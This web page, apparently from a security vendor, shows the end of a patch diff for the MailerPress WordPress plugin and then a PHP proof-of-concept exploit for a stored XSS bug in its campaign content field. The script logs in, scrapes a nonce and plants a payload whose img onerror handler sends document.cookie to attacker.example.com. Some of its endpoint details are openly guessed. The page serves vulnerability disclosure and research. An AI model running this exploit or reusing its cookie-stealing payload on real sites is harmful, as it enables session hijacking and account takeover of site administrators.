+                    'batch_id' => $chunk_info && isset($chunk_info->batch_id) ? (int) $chunk_info->batch_id : null,
+                    'chunk_id' => $chunk_id,
+                    'retry_count' => $retry_count,
+                    'max_retries' => $max_retries,
+                ]);
             }

             // Schedule next chunks anyway to prevent entire batch from stalling
@@ -615,4 +836,211 @@
             }
         }
     }
+
+    private function getChunkContactOffset(string $importChunks, int $batch_id, int $chunk_id): int
+    {
+        global $wpdb;
+
+        $previous_chunks = $wpdb->get_col(
+            $wpdb->prepare(
+                "SELECT chunk_data FROM {$importChunks} WHERE batch_id = %d AND id < %d ORDER BY id ASC",
+                $batch_id,
+                $chunk_id
+            )
+        );
+
+        if (empty($previous_chunks)) {
+            return 0;
+        }
+
+        $offset = 0;
+        foreach ($previous_chunks as $chunk_data) {
+            $decoded = json_decode((string) $chunk_data, true);
+            if (is_array($decoded)) {
+                $offset += count($decoded);
+            }
+        }
+
+        return $offset;
+    }
+
+    private function getRowLogContext(object $chunk, int $index, array $contact, int $chunk_contact_offset, array $extra = []): array
+    {
+        $context = [
+            'batch_id' => (int) $chunk->batch_id,
+            'chunk_id' => (int) $chunk->id,
+            'chunk_row' => $index + 1,
+            'estimated_csv_line' => $chunk_contact_offset + $index + 2,
+            'email' => isset($contact['email']) && is_scalar($contact['email'])
+                ? $this->maskEmail((string) $contact['email'])
+                : null,
+            'fields' => array_values(array_filter(
+                array_keys($contact),
+                static fn($field) => is_string($field) && !str_starts_with($field, '_')
+            )),
+        ];
+
+        if (isset($contact['_mailerpress_csv_row']) && is_numeric($contact['_mailerpress_csv_row'])) {
+            $context['csv_line'] = (int) $contact['_mailerpress_csv_row'];
+        }
+
+        return array_merge($context, $extra);
+    }
+
+    private function logImportEvent(string $level, string $message, array $context = []): void
+    {
+        if (!$this->isImportDebugEnabled()) {
+            return;
+        }
+
+        $level = strtoupper($level);
+        $context = $this->sanitizeLogContext($context);
+
+        try {
+            Logger::log($level, '[ContactImport] ' . $message, $context);
+        } catch (Throwable $e) {
+            // Logging must never interrupt imports.
+        }
+
+        $this->writeImportLogFile($level, $message, $context);
+
+        $write_to_php_error_log = apply_filters('mailerpress_import_log_to_php_error_log', true);
+        if (!$write_to_php_error_log) {
+            return;
+        }
+
+        $encoded_context = function_exists('wp_json_encode')
+            ? wp_json_encode($context, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE)
+            : json_encode($context, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);
+
+        error_log(sprintf(
+            '[MailerPress Contact Import] [%s] %s%s',
+            $level,
+            $message,
+            $encoded_context ? ' | ' . $encoded_context : ''
+        ));
+    }
+
+    private function isImportDebugEnabled(): bool
+    {
+        return defined('WP_DEBUG')
+            && true === WP_DEBUG
+            && defined('WP_DEBUG_LOG')
+            && true === WP_DEBUG_LOG;
+    }
+
+    private function writeImportLogFile(string $level, string $message, array $context): void
+    {
+        try {
+            $upload_dir = wp_upload_dir();
+            $base_dir = empty($upload_dir['basedir']) ? WP_CONTENT_DIR . '/uploads' : $upload_dir['basedir'];
+            $log_dir = trailingslashit($base_dir) . 'mailerpress-logs';
+
+            if (!file_exists($log_dir)) {
+                wp_mkdir_p($log_dir);
+            }
+
+            if (!is_dir($log_dir) || !is_writable($log_dir)) {
+                return;
+            }
+
+            $htaccess_file = trailingslashit($log_dir) . '.htaccess';
+            if (!file_exists($htaccess_file)) {
+                @file_put_contents($htaccess_file, "deny from alln");
+            }
+
+            $index_file = trailingslashit($log_dir) . 'index.html';
+            if (!file_exists($index_file)) {
+                @file_put_contents($index_file, '');
+            }
+
+            $encoded_context = function_exists('wp_json_encode')
+                ? wp_json_encode($context, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE)
+                : json_encode($context, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);
+
+            $log_entry = sprintf(
+                "[%s] [%s] %s%sn",
+                current_time('mysql'),
+                $level,
+                $message,
+                $encoded_context ? ' | ' . $encoded_context : ''
+            );
+
+            @file_put_contents(
+                trailingslashit($log_dir) . 'contact-import-' . current_time('Y-m-d') . '.log',
+                $log_entry,
+                FILE_APPEND | LOCK_EX
+            );
+        } catch (Throwable $e) {
+            // Logging must never interrupt imports.
+        }
+    }
+
+    private function sanitizeLogContext(array $context): array
+    {
+        $sanitized = [];
+
+        foreach ($context as $key => $value) {
+            if (is_array($value)) {
+                $sanitized[$key] = $this->sanitizeLogContext($value);
+                continue;
+            }
+
+            if (is_object($value)) {
+                $sanitized[$key] = get_class($value);
+                continue;
+            }
+
+            if (is_string($value)) {
+                $sanitized[$key] = $this->truncateLogMessage(sanitize_text_field($value), 500);
+                continue;
+            }
+
+            if (is_scalar($value) || null === $value) {
+                $sanitized[$key] = $value;
+                continue;
+            }
+
+            $sanitized[$key] = gettype($value);
+        }
+
+        return $sanitized;
+    }
+
+    private function maskEmail(string $email): string
+    {
+        $email = trim($email);
+        if (!str_contains($email, '@')) {
+            return $this->redactValue($email);
+        }
+
+        [$local, $domain] = explode('@', $email, 2);
+        $visible_local = substr($local, 0, min(2, strlen($local)));
+
+        return $visible_local . '***@' . $domain;
+    }
+
+    private function redactValue(string $value): string
+    {
+        $value = trim(sanitize_text_field($value));
+
+        if ('' === $value) {
+            return '';
+        }
+
+        if (str_contains($value, '@')) {
+            return $this->maskEmail($value);
+        }
+
+        return substr($value, 0, 2) . '***' . (strlen($value) > 8 ? substr($value, -2) : '');
+    }
+
+    private function truncateLogMessage(string $message, int $length = 255): string
+    {
+        if (strlen($message) <= $length) {
+            return $message;
+        }
+
+        return substr($message, 0, max(0, $length - 3)) . '...';
+    }
 }
--- a/mailerpress/src/Actions/Admin/Editor.php
+++ b/mailerpress/src/Actions/Admin/Editor.php
@@ -82,7 +82,6 @@
             if (!is_array($userPreferences)) {
                 $userPreferences = [];
             }
-            $pages = get_pages(['number' => 100, 'sort_column' => 'post_title']);
             $globalTypographySettings = get_option('mailerpress_global_typography');
             // Ensure it's an array if it exists
             if ($globalTypographySettings && is_string($globalTypographySettings)) {
@@ -136,11 +135,11 @@
                     'fromName' => $globalSenderDecoded->fromName ?? '',
                     'unsubpage' => [
                         'useDefault' => true,
-                        'pageId' => $pages[0]->ID
+                        'pageId' => ''
                     ],
                     'subpage' => [
                         'useDefault' => true,
-                        'pageId' => $pages[0]->ID
+                        'pageId' => ''
                     ],
                 ]),
                 'whiteLabelData' => $whiteLabel,
@@ -164,7 +163,6 @@
                 'emailServiceConfiguration' => Kernel::getContainer()->get(EmailServiceManager::class)->getConfigurations(),
                 'globalSender' => $globalSender,
                 'nonce' => wp_create_nonce('wp_rest'),
-                'pages' => $pages,
                 'editorFonts' => get_option('mailerpress_fonts_v2', []),
                 'pluginDirUrl' => Kernel::$config['rootUrl'],
                 'mailerPressSignupConfirmation' => mailerpress_get_signup_confirmation_option(),
--- a/mailerpress/src/Actions/Setup/TableManager.php
+++ b/mailerpress/src/Actions/Setup/TableManager.php
@@ -29,10 +29,11 @@
         $installedVersion = get_option('mailerpress_plugin_version');
         $versionChanged = $installedVersion !== $current_version;

-        // Always check migrations if version changed (production updates)
-        // In development mode (WP_DEBUG), also check even if version unchanged
-        // to allow testing migration file changes without modifying wp-config
-        $isDevelopment = defined('WP_DEBUG') && WP_DEBUG;
+        // Always check migrations if version changed. Local migration polling must be explicitly enabled.
+        $isDevelopment = (bool) apply_filters(
+            'mailerpress_dev_migrations_enabled',
+            defined('MAILERPRESS_DEV_MIGRATIONS') && MAILERPRESS_DEV_MIGRATIONS
+        );

         // Skip migration check ONLY if:
         // - Version hasn't changed AND
--- a/mailerpress/src/Actions/Webhooks/UpsertContactOnWebhookReceived.php
+++ b/mailerpress/src/Actions/Webhooks/UpsertContactOnWebhookReceived.php
@@ -0,0 +1,94 @@
+<?php
+
+declare(strict_types=1);
+
+namespace MailerPressActionsWebhooks;
+
+defined('ABSPATH') || exit;
+
+use MailerPressCoreAttributesAction;
+use MailerPressServicesContactUpsertService;
+use MailerPressServicesWebhookActionResolver;
+use MailerPressModelsContacts as ContactsModel;
+
+class UpsertContactOnWebhookReceived
+{
+    #[Action('mailerpress_webhook_received', priority: 5, acceptedArgs: 3)]
+    public function handle($webhookId, $payload, $request = null): void
+    {
+        if (!is_array($payload)) {
+            if (is_object($payload) && method_exists($payload, 'get_json_params')) {
+                $payload = $payload->get_json_params();
+            } elseif (is_object($request) && method_exists($request, 'get_json_params')) {
+                $payload = $request->get_json_params();
+            } else {
+                $payload = [];
+            }
+        }
+
+        $email = $payload['email'] ?? $payload['customer_email'] ?? $payload['user_email'] ?? '';
+        if (empty($email)) {
+            return;
+        }
+
+        $webhookId = (string) $webhookId;
+        $actions = (new WebhookActionResolver())->getEnabledActions($webhookId);
+        if (empty($actions)) {
+            return;
+        }
+
+        $existingContact = (new ContactsModel())->getContactByEmail(sanitize_email((string) $email));
+        if ($existingContact && empty($actions['update_contact']) && empty($actions['add_tag']) && empty($actions['add_to_list'])) {
+            return;
+        }
+
+        if (!$existingContact && empty($actions['create_contact'])) {
+            return;
+        }
+
+        $upsertPayload = $payload;
+        if ($existingContact && empty($actions['update_contact'])) {
+            $upsertPayload = ['email' => $email];
+
+            if (!empty($actions['add_tag'])) {
+                foreach (['tags', 'contact_tags', 'tag_ids', 'tag_id', 'tag', 'tag_name'] as $key) {
+                    if (array_key_exists($key, $payload)) {
+                        $upsertPayload[$key] = $payload[$key];
+                    }
+                }
+            }
+
+            if (!empty($actions['add_to_list'])) {
+                foreach (['lists', 'contact_lists', 'list_ids', 'list_id', 'list', 'list_name'] as $key) {
+                    if (array_key_exists($key, $payload)) {
+                        $upsertPayload[$key] = $payload[$key];
+                    }
+                }
+            }
+        }
+
+        if (empty($actions['add_tag']) && empty($actions['update_contact'])) {
+            unset($upsertPayload['tags'], $upsertPayload['contact_tags'], $upsertPayload['tag_ids'], $upsertPayload['tag_id'], $upsertPayload['tag'], $upsertPayload['tag_name']);
+        }
+
+        if (empty($actions['add_to_list']) && empty($actions['update_contact']) && $existingContact) {
+            unset($upsertPayload['lists'], $upsertPayload['contact_lists'], $upsertPayload['list_ids'], $upsertPayload['list_id'], $upsertPayload['list'], $upsertPayload['list_name']);
+        }
+
+        $result = (new ContactUpsertService())->upsert(array_merge($upsertPayload, [
+            'email' => $email,
+            'update_existing' => true,
+            'update_contact_fields' => !empty($actions['update_contact']) || !$existingContact,
+            'assign_default_list' => !$existingContact,
+            'auto_map_custom_fields' => true,
+            'opt_in_source' => 'webhook',
+            'optin_details' => [
+                'webhook_id' => $webhookId,
+            ],
+        ]));
+
+        if (!empty($result['success'])) {
+            do_action('mailerpress_webhook_contact_upserted', $webhookId, $result, $payload, $request);
+        }
+    }
+}
--- a/mailerpress/src/Actions/Workflows/MailerPress/Triggers/ContactListAddedTrigger.php
+++ b/mailerpress/src/Actions/Workflows/MailerPress/Triggers/ContactListAddedTrigger.php
@@ -0,0 +1,84 @@
+<?php
+
+declare(strict_types=1);
+
+namespace MailerPressActionsWorkflowsMailerPressTriggers;
+
+defined('ABSPATH') || exit;
+
+class ContactListAddedTrigger
+{
+    public const TRIGGER_KEY = 'list_added';
+    public const HOOK_NAME = 'mailerpress_contact_list_added';
+
+    public static function register($manager): void
+    {
+        $definition = [
+            'label' => __('List Added', 'mailerpress'),
+            'description' => __('Triggered when a contact is added to a list. Useful for automations that must run when an existing contact joins a new list.', 'mailerpress'),
+            'icon' => 'list',
+            'category' => 'mailerpress',
+            'settings_schema' => [
+                [
+                    'key' => 'list_id',
+                    'label' => __('List', 'mailerpress'),
+                    'type' => 'select',
+                    'required' => true,
+                    'data_source' => 'lists',
+                    'help' => __('Select the list that will trigger this workflow', 'mailerpress'),
+                ],
+            ],
+            'output_fields' => [
+                ['key' => 'contact_id', 'label' => __('Contact ID', 'mailerpress'), 'type' => 'number', 'group' => 'contact'],
+                ['key' => 'list_id', 'label' => __('List ID', 'mailerpress'), 'type' => 'number', 'group' => 'contact'],
+                ['key' => 'email', 'label' => __('Email', 'mailerpress'), 'type' => 'email', 'group' => 'contact'],
+                ['key' => 'first_name', 'label' => __('First Name', 'mailerpress'), 'type' => 'string', 'group' => 'contact'],
+                ['key' => 'last_name', 'label' => __('Last Name', 'mailerpress'), 'type' => 'string', 'group' => 'contact'],
+                ['key' => 'user_id', 'label' => __('User ID', 'mailerpress'), 'type' => 'number', 'group' => 'contact'],
+            ],
+        ];
+
+        $manager->registerTrigger(
+            self::TRIGGER_KEY,
+            self::HOOK_NAME,
+            self::contextBuilder(...),
+            $definition
+        );
+    }
+
+    public static function contextBuilder(...$args): array
+    {
+        $contactId = (int) ($args[0] ?? 0);
+        $listId = (int) ($args[1] ?? 0);
+
+        if (!$contactId || !$listId) {
+            return [];
+        }
+
+        global $wpdb;
+        $contact = $wpdb->get_row(
+            $wpdb->prepare(
+                "SELECT email, first_name, last_name, subscription_status FROM {$wpdb->prefix}mailerpress_contact WHERE contact_id = %d",
+                $contactId
+            ),
+            ARRAY_A
+        );
+
+        if (!$contact) {
+            return [];
+        }
+
+        $user = !empty($contact['email']) ? get_user_by('email', $contact['email']) : false;
+        $userId = $user ? (int) $user->ID : $contactId;
+
+        return [
+            'contact_id' => $contactId,
+            'list_id' => $listId,
+            'email' => $contact['email'] ?? '',
+            'first_name' => $contact['first_name'] ?? '',
+            'last_name' => $contact['last_name'] ?? '',
+            'subscription_status' => $contact['subscription_status'] ?? '',
+            'user_id' => $userId,
+        ];
+    }
+}
--- a/mailerpress/src/Actions/Workflows/MailerPress/Triggers/WebhookReceivedTrigger.php
+++ b/mailerpress/src/Actions/Workflows/MailerPress/Triggers/WebhookReceivedTrigger.php
@@ -70,6 +70,15 @@
                     'help' => __('Copy this URL and use it in your external service to send webhooks. The URL is automatically generated based on your Webhook ID.', 'mailerpress'),
                 ],
             ],
+            'output_fields' => [
+                ['key' => 'webhook_id', 'label' => __('Webhook ID', 'mailerpress'), 'type' => 'string', 'group' => 'webhook'],
+                ['key' => 'contact_id', 'label' => __('Contact ID', 'mailerpress'), 'type' => 'number', 'group' => 'contact'],
+                ['key' => 'email', 'label' => __('Email', 'mailerpress'), 'type' => 'email', 'group' => 'contact'],
+                ['key' => 'first_name', 'label' => __('First Name', 'mailerpress'), 'type' => 'string', 'group' => 'contact'],
+                ['key' => 'last_name', 'label' => __('Last Name', 'mailerpress'), 'type' => 'string', 'group' => 'contact'],
+                ['key' => 'phone', 'label' => __('Phone', 'mailerpress'), 'type' => 'string', 'group' => 'contact'],
+                ['key' => 'user_id', 'label' => __('User ID', 'mailerpress'), 'type' => 'number', 'group' => 'contact'],
+            ],
         ];

         $manager->registerTrigger(
--- a/mailerpress/src/Actions/Workflows/RegisterCustomTriggers.php
+++ b/mailerpress/src/Actions/Workflows/RegisterCustomTriggers.php
@@ -8,6 +8,7 @@

 use MailerPressActionsWorkflowsMailerPressTriggersContactOptinTrigger;
 use MailerPressActionsWorkflowsMailerPressTriggersContactTagAddedTrigger;
+use MailerPressActionsWorkflowsMailerPressTriggersContactListAddedTrigger;
 use MailerPressActionsWorkflowsMailerPressTriggersContactCustomFieldUpdatedTrigger;
 use MailerPressActionsWorkflowsMailerPressTriggersBirthdayCheckTrigger;
 use MailerPressActionsWorkflowsMailerPressTriggersCustomTrigger;
@@ -62,6 +63,7 @@

         ContactOptinTrigger::register($manager);
         ContactTagAddedTrigger::register($manager);
+        ContactListAddedTrigger::register($manager);
         ContactCustomFieldUpdatedTrigger::register($manager);
         BirthdayCheckTrigger::register($manager);
         CustomTrigger::register($manager);
--- a/mailerpress/src/Api/ActionSchedulerDiagnostic.php
+++ b/mailerpress/src/Api/ActionSchedulerDiagnostic.php
@@ -4,6 +4,7 @@

 namespace MailerPressApi;

+use MailerPressActionsActionSchedulerProcessorsChunkWorker;
 use MailerPressCoreAttributesEndpoint;
 use MailerPressCoreEnumsTables;

@@ -271,6 +272,11 @@
                 // Note: Transients for deleted chunks will be cleaned up by Cleanup cron
             }

+            if (!ChunkWorker::hasPendingChunks()) {
+                ChunkWorker::markNoPendingChunks();
+                ChunkWorker::unregisterRecurringWorker();
+            }
+
             // Cancel and delete scheduled Action Scheduler actions (legacy compatibility)
             // Note: With the new ChunkWorker system, there are no individual chunk actions anymore,
             // but we keep this for backwards compatibility with campaigns created before the migration
--- a/mailerpress/src/Api/Campaigns.php
+++ b/mailerpress/src/Api/Campaigns.php
@@ -11,6 +11,7 @@
 use DIDependencyException;
 use DINotFoundException;
 use MailerPressCoreAttributesEndpoint;
+use MailerPressActionsActionSchedulerProcessorsChunkWorker;
 use MailerPressCoreCapabilities;
 use MailerPressCoreEmailManagerEmailLogger;
 use MailerPressCoreEmailManagerEmailServiceManager;
@@ -1530,6 +1531,8 @@

         $placeholders = implode(',', array_fill(0, count($campaign_ids), '%d'));

+        $scheduled_actions_cancelled = $this->cleanupScheduledCampaignActions($campaign_ids);
+
         $query = $wpdb->prepare(
             "DELETE FROM {$table_name} WHERE campaign_id IN ({$placeholders})",
             ...$campaign_ids
@@ -1564,6 +1567,7 @@
             [
                 'message' => __('Campaigns successfully deleted.', 'mailerpress'),
                 'ids' => $campaign_ids,
+                'scheduled_actions_cancelled' => $scheduled_actions_cancelled,
             ],
             200
         );
@@ -1618,6 +1622,7 @@
         foreach ($trash_campaign_ids as $cid) {
             CountDown::unscheduleForCampaign((string) $cid);
         }
+        $scheduled_actions_cancelled = $this->cleanupScheduledCampaignActions($trash_campaign_ids);

         // Delete batches linked to campaigns of these types AND with trash status
         $delete_batches_query = "
@@ -1650,6 +1655,7 @@
                 ),
                 'deleted_campaigns' => $deleted_campaigns,
                 'deleted_batches' => $deleted_batches,
+                'scheduled_actions_cancelled' => $scheduled_actions_cancelled,
             ],
             200
         );
@@ -1666,7 +1672,23 @@

         $ids = $request->get_param('id');
         $status = sanitize_text_field($request->get_param('status'));
-        $campaign_type = sanitize_text_field($request->get_param('campaign_type'));
+        $campaign_types_raw = $request->get_param('campaign_type');
+        $campaign_types = [];
+        if (is_array($campaign_types_raw)) {
+            foreach ($campaign_types_raw as $campaign_type_item) {
+                if (is_array($campaign_type_item) && isset($campaign_type

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-8599 - MailerPress <= 2.0.4 - Authenticated (Author+) Stored XSS via Campaign HTML Content Field

/*
 * This PoC demonstrates the stored XSS vulnerability in the MailerPress plugin.
 * An attacker with Author-level or higher privileges can inject arbitrary JavaScript
 * into the campaign HTML content field. The payload executes in the admin dashboard
 * preview, bypassing the CSP-protected public endpoint.
 *
 * Usage:
 *   php poc.php <target_url> <username> <password>
 *   Example: php poc.php https://example.com author_user mypassword
 */

if (php_sapi_name() !== 'cli') {
    die('This PoC must be run from the command line.');
}

if ($argc < 4) {
    die("Usage: php poc.php <target_url> <username> <password>n");
}

$target_url  = rtrim($argv[1], '/');
$username    = $argv[2];
$password    = $argv[3];

// Step 1: Authenticate via wp-login to get cookies
function http_request($url, $post_data = null, $cookies = []) {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_USERAGENT, 'AtomicEdgePoC');
    
    if ($post_data !== null) {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
    }
    
    if (!empty($cookies)) {
        $cookie_str = '';
        foreach ($cookies as $name => $value) {
            $cookie_str .= rawurlencode($name) . '=' . rawurlencode($value) . '; ';
        }
        curl_setopt($ch, CURLOPT_COOKIE, $cookie_str);
    }
    
    $response = curl_exec($ch);
    $error = curl_error($ch);
    curl_close($ch);
    
    if ($error) {
        die("cURL error: $errorn");
    }
    
    return $response;
}

// Step 2: Authenticate
$login_url = $target_url . '/wp-login.php';
$response = http_request($login_url, [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]);

// Extract cookies
preg_match_all('/Set-Cookie:s*(?P<name>[^=]+)=(?P<value>[^;]+)/im', $response, $matches);
$cookies = array_combine($matches['name'], $matches['value']);

if (empty($cookies)) {
    die('Authentication failed. Check your credentials.n');
}

echo "[+] Authenticated as $usernamen";

// Step 3: Get an admin nonce for campaign creation from the admin dashboard
$admin_url = $target_url . '/wp-admin/admin.php?page=mailerpress-campaigns';
$response = http_request($admin_url, null, $cookies);

// Extract the nonce for campaign creation (adjust pattern based on actual plugin nonce name)
preg_match('/_wpnonce=([a-f0-9]+)/', $response, $nonce_match);
if (empty($nonce_match[1])) {
    // Alternative: try to extract from an AJAX endpoint or form field
    echo "[!] Could not extract nonce from the campaigns page. Trying default.n";
    $nonce = '';
} else {
    $nonce = $nonce_match[1];
}

// Step 4: Craft the malicious HTML payload
$malicious_html = '<p>Check out our new <a href="javascript:alert('XSS')">offer</a>!</p><img src=x onerror="fetch('https://attacker.example.com/steal?cookie='+document.cookie)">';

// Step 5: Create a campaign via AJAX (assuming the plugin uses an AJAX endpoint like mailerpress_save_campaign)
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = [
    'action' => 'mailerpress_save_campaign',
    '_wpnonce' => $nonce,
    'campaign_id' => 0, // New campaign
    'campaign_name' => 'Atomic Edge XSS Test',
    'campaign_subject' => 'Test Subject',
    'campaign_content' => $malicious_html, // The vulnerable field
    'status' => 'draft'
];

$response = http_request($ajax_url, $post_data, $cookies);
$result = json_decode($response, true);

if (isset($result['success']) && $result['success'] === true) {
    echo "[+] Campaign created successfully with XSS payload.n";
    echo "[+] The payload will execute when an admin views the campaign in the admin dashboard.n";
} else {
    echo "[!] Campaign creation may have failed. Response:n";
    print_r($result);
}

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School